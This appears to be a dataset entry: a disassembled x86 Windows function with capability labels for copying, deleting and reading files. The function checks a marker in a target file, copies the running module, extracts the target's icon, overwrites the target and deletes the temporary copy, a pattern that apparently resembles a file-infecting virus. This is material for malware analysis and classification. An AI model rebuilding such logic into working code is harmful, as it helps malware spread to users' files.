Function at 0x100052f4
Capabilities:
Copy file
Delete file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 6
push 0
push 0
dec ecx
jne 0x100052fc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.10002908
xor eax, eax
push ebp
push 0x1000556f
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
mov eax, dword [ebp - 4]
call fcn.10003728
mov edx, dword [ebp - 0x18]
mov eax, 0x10005588
call fcn.10002964
test eax, eax
jne 0x10005547
lea edx, [ebp - 0x1c]
mov eax, dword [ebp - 4]
call fcn.10003728
mov edx, dword [ebp - 0x1c]
mov eax, 0x10005594
call fcn.10002964
test eax, eax
jne 0x10005547
lea edx, [ebp - 0x14]
mov eax, 0x100055a4
call fcn.10003c48
lea eax, [ebp - 0x14]
push eax
mov edx, dword [ebp - 0x14]
mov eax, 0x100055b8
call fcn.10002964
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.10002924
xor eax, eax
push ebp
push 0x100053c7
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x80
push 3
push 0
push 0
push 0x80000000
mov eax, dword [ebp - 4]
call fcn.10002918
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x100053db
push 0
push 0
push 0x6f
push ebx
call sub.kernel32.dll_SetFilePointer_1
push 0
lea eax, [ebp - 0xc]
push eax
push 3
lea eax, [ebp - 0xf]
push eax
push ebx
call sub.kernel32.dll_ReadFile_1
push ebx
call sub.kernel32.dll_CloseHandle_1
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
lea edx, [ebp - 0xf]
mov ecx, 3
call fcn.10002708
mov eax, dword [ebp - 0x24]
mov ecx, 3
mov edx, 1
call fcn.10002924
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x28]
push eax
mov ecx, 3
mov edx, 1
mov eax, dword [ebp - 0x14]
call fcn.10002924
mov edx, dword [ebp - 0x28]
pop eax
call fcn.10002864
je 0x10005547
xor edx, edx
push ebp
push 0x10005521
push dword fs:[edx]
mov dword fs:[edx], esp
lea edx, [ebp - 0x2c]
mov eax, 8
call fcn.10003a7c
mov eax, dword [ebp - 0x2c]
push eax
lea eax, [ebp - 0x30]
call fcn.10003c18
mov edx, dword [ebp - 0x30]
lea eax, [ebp - 8]
pop ecx
call fcn.1000276c
push 0
mov eax, dword [ebp - 8]
call fcn.10002918
mov esi, eax
push esi
mov eax, dword [0x1000912c]
mov eax, dword [eax]
call fcn.10002918
push eax
call sub.kernel32.dll_CopyFileA
mov eax, dword [ebp - 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, 0x100055c4
mov eax, 0x100055d4
call fcn.100055e0
mov dl, 1
mov eax, dword [0x1000464c]
call fcn.10001f58
mov ebx, eax
push 0
mov eax, dword [ebp - 4]
call fcn.10002918
mov edi, eax
push edi
mov eax, dword [0x1000a674]
push eax
call sub.shell32.dll_ExtractIconA
test eax, eax
jne 0x100054ec
pop dword fs:[0]
add esp, 8
jmp 0x10005547
xor ecx, ecx
mov edx, eax
mov eax, ebx
call fcn.10004c44
mov edx, esi
mov eax, dword [ebx + 4]
call fcn.10005770
mov eax, ebx
call fcn.10001f88
push 0
push edi
push esi
call sub.kernel32.dll_CopyFileA
push esi
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x10005539
mov eax, dword [ebp - 8]
call fcn.10002918
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x10005576
lea eax, [ebp - 0x30]
mov edx, 8
call fcn.100025c4
lea eax, [ebp - 8]
mov edx, 2
call fcn.100025c4
ret